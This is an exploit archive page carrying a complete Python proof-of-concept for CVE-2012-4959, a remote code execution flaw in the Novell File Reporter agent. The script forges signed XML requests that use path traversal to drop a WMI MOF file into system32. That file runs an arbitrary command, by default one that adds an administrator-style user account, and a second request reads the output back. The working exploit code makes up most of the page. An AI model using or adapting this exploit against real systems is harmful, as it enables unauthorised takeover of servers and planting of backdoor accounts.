what you don't know can hurt you

Novell File Reporter Code Execution

Novell File Reporter Code Execution
Posted Dec 12, 2012
Authored by Abysssec | Site abysssec.com

Novell File Reporter agent XML parsing remote code execution exploit.

tags | exploit, remote, code execution
advisories | CVE-2012-4959
MD5 | 01296d5bf3ebabbd5b1832a71092fdca

Novell File Reporter Code Execution

Change Mirror Download
# wwww.abysssec.com
# Novell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day)
# CVE-2012-4959
# @abysssec
# well just one more of our 0day got published after ~2 year
# here is info : https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959
# and here is our exploit

import httplib, md5, sys

def message_MD5(arg):
v = "SRS" + arg + "SERVER"
m = md5.new(v)
return m.hexdigest()

def genMof(command="net user abysssec 123456 /add"):

vbs = ""
vbs += "\"Set objShell = CreateObject(\\\"WScript.Shell\\\")\\n\"\n"
vbs += "\"objShell.Run \\\"cmd.exe /C "
vbs += command
vbs += "\\\"\""


mof = """
#pragma namespace ("\\\\\\\\.\\\\root\\\\subscription")
#pragma deleteclass("MyASEventConsumer", nofail)
#pragma deleteinstance("__EventFilter.Name=\\\"EF\\\"", nofail)
#pragma deleteinstance("ActiveScriptEventConsumer.Name=\\\"ASEC\\\"", nofail)

class MyASEventConsumer
{
[key]string Name;
};

instance of ActiveScriptEventConsumer as $CONSUMER
{
CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
Name = "ASEC";
ScriptingEngine = "VBScript";
ScriptText =
SCRIPT;
};

instance of __EventFilter as $FILTER
{
CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
Name = "EF";
Query = "SELECT * FROM __InstanceCreationEvent"
" WHERE TargetInstance.__class = \\"MyASEventConsumer\\"";
QueryLanguage = "WQL";
};

instance of __FilterToConsumerBinding as $BINDING
{
CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
Filter = $FILTER;
Consumer = $CONSUMER;
};

instance of MyASEventConsumer
{
Name = "Trigger";
};
""".replace('SCRIPT',vbs)

return mof

def main(argv=None):
if argv is None:
argv = sys.argv

if len(argv) != 2:
print "[!] USAGE : mof \"<command]>\""
return

msg = "<ROOT><NAME>FSFUI</NAME><UICMD>130</UICMD><TOKEN><FILE>../../../../../../Windows/system32/wbem/mof/command.mof</FILE></TOKEN><![CDATA["
msg += genMof(argv[1] + "> C:/Windows/System32/info.dat")
msg += "]]></ROOT>"
body = message_MD5(msg).upper() + msg
headers = {"Content-type": "text/xml"}

conn = httplib.HTTPSConnection("192.168.10.20:3037")
conn.request("POST", "/SRS/CMD",body, headers)
response = conn.getresponse()
print "\n...Command Executed ..."
print response.status, response.reason

print response.read()

msg = "<ROOT><NAME>FSFUI</NAME><UICMD>126</UICMD><TOKEN><FILE>../../../../../../WINDOWS/system32/info.dat</FILE></TOKEN></ROOT>"
body = message_MD5(msg).upper() + msg
conn.request("POST", "/SRS/CMD",body, headers)
response = conn.getresponse()
conn.request("POST", "/SRS/CMD",body, headers)
response = conn.getresponse()
print "\n...Getting result ..."
print response.status, response.reason
print response.read()


conn.close()


if __name__ == "__main__":
main()


Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    2 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    15 Files
  • 20
    Oct 20th
    20 Files
  • 21
    Oct 21st
    12 Files
  • 22
    Oct 22nd
    14 Files
  • 23
    Oct 23rd
    3 Files
  • 24
    Oct 24th
    1 Files
  • 25
    Oct 25th
    33 Files
  • 26
    Oct 26th
    27 Files
  • 27
    Oct 27th
    6 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close